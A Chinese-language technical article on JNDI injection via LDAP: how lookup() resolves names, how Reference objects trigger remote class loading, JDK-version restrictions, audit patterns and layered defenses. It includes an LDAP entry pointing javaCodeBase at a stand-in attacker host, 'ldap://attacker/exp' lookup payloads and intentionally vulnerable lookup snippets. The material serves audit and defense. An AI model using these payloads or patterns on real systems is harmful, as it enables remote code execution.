1. 从一次代码审计说起为什么JNDI和LDAP总是一起出现前阵子帮一个朋友看一段Java代码他指着一段InitialContext.lookup()问我“这行代码看起来就是查个配置为什么安全扫描工具会标红”这个问题其实特别典型。很多做Java开发的人对JNDI的印象停留在“用来查数据源、查EJB”的层面觉得它就是个标准的Java EE API跟安全八竿子打不着。但实际情况是JNDI和LDAP这对组合在Java安全领域里几乎是绕不开的一个话题。先把结论放在前面JNDI本身是一个命名和目录服务接口它做的事情就是“根据一个名字找到对应的对象”。这个名字可以是java:comp/env/jdbc/MyDataSource也可以是一个LDAP协议的URL。问题出在JNDI在查找远程对象时支持通过Reference机制从远程加载类。如果攻击者能控制JNDI查找的地址就能让目标应用去加载一个恶意类从而执行任意代码。LDAP在这里扮演的角色就是那个“远程地址”的常见载体。这篇文章适合谁看如果你是有一定Java基础、想理解JNDI注入原理的开发或安全从业者那这篇内容会对你有帮助。如果你只是听说过“JNDI注入”这个词但一直没搞明白它到底怎么工作的我也会从最基础的概念开始拆。我不会只给你一个lookup的payload就完事而是会把JNDI的查找流程、LDAP的返回结构、以及不同JDK版本下的利用差异都讲清楚。毕竟只记payload不理解原理换个环境就抓瞎了。2. JNDI的查找链路一个名字是怎么变成对象的2.1 JNDI的架构分层与Provider机制JNDI的全称是Java Naming and Directory Interface翻译过来就是Java命名和目录接口。它本身只是一套API规范具体的实现是由不同的Service Provider来提供的。你可以把它理解成一个“中间层”上层代码调用Context.lookup(someName)JNDI API负责把这个调用转发给底层的Provider由Provider去实际完成查找。这种设计的好处是解耦。应用代码不需要关心底层是LDAP、RMI、DNS还是文件系统只要统一调用JNDI的API就行。但这也意味着JNDI的查找行为完全取决于你传入的那个名字的协议前缀。比如java:comp/env/jdbc/MyDB走的是本地JNDI上下文ldap://somehost:389/cnfoo,dcexample,dccom走的是LDAP Providerrmi://somehost:1099/obj走的是RMI Providerdns://somehost/example.com走的是DNS Provider关键点在于当名字里带有协议前缀时JNDI会自动选择对应的Provider去发起远程请求。这个“自动选择”的过程就是很多安全问题的起点。2.2 lookup方法的内部执行流程当你调用context.lookup(name)时JNDI内部大致会经历这么几个步骤第一步解析name。JNDI会检查name是否包含URL前缀。如果有就提取出scheme比如ldap、rmi然后根据scheme去查找注册的Provider。第二步获取对应的Context实现。每个Provider都有自己的Context实现类比如LDAP Provider对应的是com.sun.jndi.ldap.LdapCtx。第三步委托给Provider执行查找。Provider会向远程服务发起请求获取返回结果。第四步处理返回结果。这一步是重点。如果远程服务返回的是一个Reference对象JNDI会根据Reference中指定的工厂类名去加载这个类并调用它的getObjectInstance方法。第四步就是问题的核心。Reference是JNDI的一个标准类它允许你描述一个“不在当前命名空间中的对象”。它包含几个关键字段className工厂类的全限定名、classFactory工厂类的位置、classFactoryLocation工厂类的代码库URL。当JNDI拿到一个Reference时它会尝试用classFactoryLocation指定的地址去加载classFactory这个类。如果攻击者能控制LDAP服务器的返回内容就可以构造一个Reference把classFactory指向一个恶意类把classFactoryLocation指向攻击者控制的HTTP服务器。目标应用在lookup时就会去下载并加载这个恶意类触发静态代码块或构造方法中的恶意逻辑。2.3 为什么LDAP成了最常见的载体理论上任何支持返回Reference的JNDI Provider都可以被利用。但LDAP之所以最常见有几个实际原因。LDAP的查询结果天然支持属性attribute的概念而JNDI的LDAP Provider会把LDAP条目中的特定属性映射成Reference对象。具体来说当LDAP返回的条目中包含javaClassName、javaFactory、javaCodeBase这些属性时JNDI会尝试将其还原为一个Java对象。这种映射机制是LDAP Provider的标准行为不需要任何额外的配置。另外LDAP服务的搭建成本很低。一台普通的服务器上跑一个LDAP服务配置几条记录就能返回构造好的Reference。相比之下RMI的方式需要额外的RMI服务而且在高版本JDK中限制更多。所以从利用的便利性来看LDAP往往是首选。注意这里讨论的是JNDI查找远程对象时的通用机制不涉及任何具体的攻击工具或平台。理解这个机制的目的是为了在代码审计和开发中识别风险点。3. LDAP返回的Reference是怎么被JNDI“还原”成对象的3.1 LDAP条目与Java对象的映射规则LDAP的数据模型是树状的每个条目由DNDistinguished Name唯一标识条目下面挂着一堆属性。比如一个典型的用户条目可能是这样的dn: cntest,dcexample,dccom objectClass: javaNamingReference javaClassName: com.example.EvilFactory javaFactory: com.example.EvilFactory javaCodeBase: http://attacker.example.com/当JNDI的LDAP Provider查询到这个条目时它会检查objectClass是否包含javaNamingReference。如果包含就会把javaClassName、javaFactory、javaCodeBase这些属性提取出来构造一个Reference对象。这里有个细节值得注意javaClassName和javaFactory可以相同也可以不同。javaClassName表示这个Reference所代表的对象的类名javaFactory表示用来创建这个对象的工厂类名。在实际的利用场景中通常把两者设为同一个类这样JNDI会直接去加载这个类。javaCodeBase就是代码库的URL。JNDI会从这个URL去下载class文件。如果这个URL指向一个HTTP服务器JNDI就会发起HTTP请求去获取class文件。3.2 类加载过程中的关键节点JNDI在拿到Reference之后会调用NamingManager.getObjectInstance()方法来还原对象。这个方法内部会做这么几件事首先检查Reference的classFactory是否为空。如果不为空就尝试加载这个工厂类。加载工厂类时会优先使用当前线程的上下文类加载器Thread Context ClassLoader。如果加载失败会尝试用classFactoryLocation指定的URL构造一个URLClassLoader来加载。一旦工厂类被加载JNDI就会实例化它并调用getObjectInstance()方法。这个方法接收Reference作为参数返回最终的对象。整个链路中最关键的节点就是“从远程URL加载类”。在早期的JDK版本中这个行为是默认允许的没有任何限制。也就是说只要LDAP返回了带有javaCodeBase的ReferenceJNDI就会无条件地去远程加载类。3.3 不同JDK版本对远程类加载的限制差异JDK版本对这个机制的限制是逐步收紧的。了解这些差异对于判断一个环境是否可利用至关重要。在JDK 6u141、7u131、8u121之前远程类加载是完全放开的。只要LDAP返回ReferenceJNDI就会去javaCodeBase指定的地址加载类。从JDK 6u141、7u131、8u121开始引入了一个系统属性com.sun.jndi.ldap.object.trustURLCodebase默认值为false。这意味着默认情况下JNDI不会从远程URL加载类了。但是如果目标应用的代码中显式设置了这个属性为true或者使用了某些特定的调用方式仍然可能触发远程加载。到了JDK 11.0.1、8u191、7u201、6u211之后这个限制进一步收紧。即使trustURLCodebase为true某些路径下的远程加载也会被阻止。同时RMI Provider也加入了类似的限制。但这里有个重要的补充即使不能从远程加载类JNDI注入仍然可能通过其他方式造成危害。比如如果目标应用的classpath中已经存在某个可以被利用的类攻击者可以通过Reference指向这个已有的类触发它的某些方法。这种方式被称为“本地类利用”或“gadget利用”不依赖远程类加载。所以判断一个JNDI注入点是否可利用不能只看JDK版本还要看目标应用的classpath中是否存在可利用的类以及代码中是否修改了默认的安全属性。4. 从代码审计视角识别JNDI注入风险点4.1 哪些写法会把用户输入带进lookup在实际代码审计中我关注的是“用户可控的输入是否最终流入了JNDI的lookup方法”。常见的风险写法有这么几类第一类是直接拼接。比如String name request.getParameter(name); Context ctx new InitialContext(); Object obj ctx.lookup(name);这种写法最危险因为用户可以完全控制lookup的参数。如果传入ldap://attacker/exp就会触发远程查找。第二类是间接拼接。比如从配置文件、数据库、HTTP头中读取一个值然后拼接到lookup的参数中。这种写法虽然多了一层但如果那个值本身是用户可控的风险是一样的。第三类是看起来“安全”的写法。比如String name request.getParameter(name); Context ctx new InitialContext(); Object obj ctx.lookup(java:comp/env/ name);有人觉得加了java:comp/env/前缀就安全了因为这是本地上下文。但实际上如果name中包含../或者协议前缀仍然可能跳出本地上下文。比如传入ldap://attacker/exp最终的字符串是java:comp/env/ldap://attacker/expJNDI在解析时可能会把ldap://识别为新的协议前缀。4.2 静态分析中容易漏掉的间接调用链单纯的lookup调用比较容易发现但有些间接调用链就不那么直观了。比如某些框架或库内部会调用JNDI的lookup而你的代码只是调用了框架的API。一个典型的场景是数据源配置。有些应用允许用户通过管理后台配置数据源的JNDI名称然后框架在初始化时会用这个名称去lookup。如果管理后台的权限控制不严攻击者就可以把JNDI名称改成恶意的LDAP地址。另一个场景是日志配置。某些日志框架支持通过JNDI查找来获取配置信息。如果日志配置文件中包含了用户可控的内容也可能触发JNDI查找。在静态分析时我通常会搜索所有lookup的调用点然后反向追踪参数的来源。如果参数最终可以追溯到HTTP请求、消息队列、数据库等外部输入就会标记为可疑。同时我也会关注那些“看起来不像用户输入”的来源比如环境变量、系统属性、配置文件因为这些在某些部署环境下也可能是可控的。4.3 一个模拟的审计案例拆解假设有一个模拟的Web应用提供了一个“查询用户信息”的接口。代码大致是这样的GetMapping(/user) public String getUser(RequestParam String username) { try { Context ctx new InitialContext(); Object result ctx.lookup(ldap://internal-ldap:389/cn username ,ouusers,dcexample,dccom); return result.toString(); } catch (NamingException e) { return User not found; } }这段代码的问题很明显username直接拼接到LDAP URL中。攻击者可以传入*来扩大查询范围也可以传入特殊的字符来改变查询语义。更严重的是如果攻击者能够控制LDAP服务器的返回内容比如通过某种方式让应用连接到一个恶意的LDAP服务器就可以返回一个恶意的Reference。但在这个案例中LDAP服务器地址是硬编码的internal-ldap攻击者不能直接改变服务器地址。所以要利用这个点攻击者需要能够影响LDAP服务器的返回内容或者能够通过某种方式让应用连接到其他服务器。这个案例说明了一个重要的审计原则不能只看lookup的参数是否可控还要看整个查找链路中哪些环节是可控的。有时候参数可控但服务器不可控风险就有限有时候参数不可控但服务器可控风险同样存在。5. 防御JNDI注入的几层思路与实操配置5.1 从代码层面切断用户输入到lookup的路径最根本的防御方式就是不要让用户输入进入lookup的参数。如果业务确实需要根据用户输入来查找资源应该使用白名单机制。比如预先定义好允许的JNDI名称列表用户输入只能从列表中选择而不是自由拼接。如果必须拼接至少要对用户输入做严格的校验。比如只允许字母、数字和有限的几个符号拒绝任何包含:、/、\等可能引入协议前缀的字符。另外对于本地JNDI查找可以使用InitialContext的com.sun.jndi.ldap.object.trustURLCodebase属性来限制远程类加载。虽然这个属性在高版本JDK中默认就是false但在一些老系统中可能被显式设置为true需要检查并改回false。5.2 利用JDK提供的安全属性做全局限制除了代码层面的修改还可以通过JVM参数来做全局限制。在启动脚本中加入-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.cosnaming.object.trustURLCodebasefalse这三个属性分别对应LDAP、RMI和COSNaming Provider的远程类加载开关。把它们都设为false可以阻止JNDI从远程URL加载类。但要注意这些属性只影响远程类加载不影响JNDI查找本身。也就是说攻击者仍然可以让应用去连接一个恶意的LDAP服务器只是无法通过Reference加载远程类了。如果目标应用的classpath中存在可利用的本地类仍然可能被利用。5.3 网络层面的出站限制与LDAP服务加固从网络层面可以限制应用服务器的出站连接。比如只允许应用服务器访问必要的内部服务禁止访问外部网络。这样即使攻击者能够控制lookup的参数也无法让应用连接到外部的恶意LDAP服务器。对于内部LDAP服务要做好访问控制。只允许必要的应用服务器连接并且对LDAP查询做权限限制。比如禁止匿名绑定要求认证后才能查询。同时定期审计LDAP中的条目检查是否存在异常的javaNamingReference对象。另外如果应用不需要使用JNDI的远程查找功能可以考虑在代码中禁用相关的Provider。比如通过自定义InitialContextFactory来限制可用的协议。6. 实测中遇到的几个典型问题与排查思路6.1 lookup返回了对象但没触发类加载有一次在测试环境中我构造了一个LDAP条目返回了带有javaCodeBase的Reference但目标应用lookup之后并没有触发类加载。排查了半天发现原因是目标应用的JDK版本是8u191trustURLCodebase默认为false而且代码中没有显式设置为true。这个问题的排查思路是先确认JDK版本然后检查是否有代码或JVM参数修改了trustURLCodebase属性。如果属性为false远程类加载就不会发生。这时候需要换一种思路看看是否有本地类可以利用。6.2 LDAP返回的Reference被忽略另一种情况是LDAP条目确实返回了但JNDI没有把它当作Reference处理。这通常是因为objectClass没有设置正确。JNDI的LDAP Provider只有在objectClass包含javaNamingReference时才会尝试构造Reference对象。如果objectClass是其他值JNDI会把它当作普通的LDAP条目处理返回一个SearchResult或Attributes对象而不是Reference。排查时可以用ldapsearch命令直接查询LDAP服务器确认返回的条目中objectClass是否正确。同时也要检查javaClassName、javaFactory、javaCodeBase这些属性是否拼写正确大小写是否匹配。6.3 类加载失败但没有任何报错还有一种比较隐蔽的情况JNDI尝试加载远程类但加载失败了而且没有明显的报错信息。这可能是因为javaCodeBase指向的HTTP服务器返回了404或者返回的class文件格式不正确。排查时可以在目标应用启动时加上-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue然后观察应用的日志输出。如果类加载失败通常会有ClassNotFoundException或NoClassDefFoundError的堆栈信息。另外也可以在HTTP服务器端查看访问日志确认JNDI是否发起了请求。提示在实际排查中网络抓包是一个很有用的手段。通过抓包可以看到JNDI是否发起了LDAP查询以及LDAP服务器返回了什么内容。这对于理解整个查找链路非常有帮助。7. 个人在实际操作中的几点体会JNDI和LDAP的利用链本质上是一个“信任边界”的问题。JNDI信任了LDAP服务器返回的内容LDAP服务器信任了查询者的身份而查询者又信任了用户的输入。任何一环的信任被打破整条链路就可能被利用。我在实际代码审计中发现很多开发者对JNDI的远程查找能力缺乏认知。他们觉得lookup就是查个配置不会想到它还能加载远程类。这种认知盲区往往导致代码中缺少必要的校验和限制。另一个体会是防御措施要分层做。代码层面的白名单校验、JVM层面的安全属性、网络层面的出站限制这三层结合起来才能有效降低风险。只做其中一层都可能被绕过。最后分享一个小技巧在代码审计时可以搜索InitialContext、lookup、NamingManager、getObjectInstance这些关键词快速定位可能的JNDI使用点。然后逐个分析参数的来源和可控性。这个方法虽然简单但在实际审计中很有效。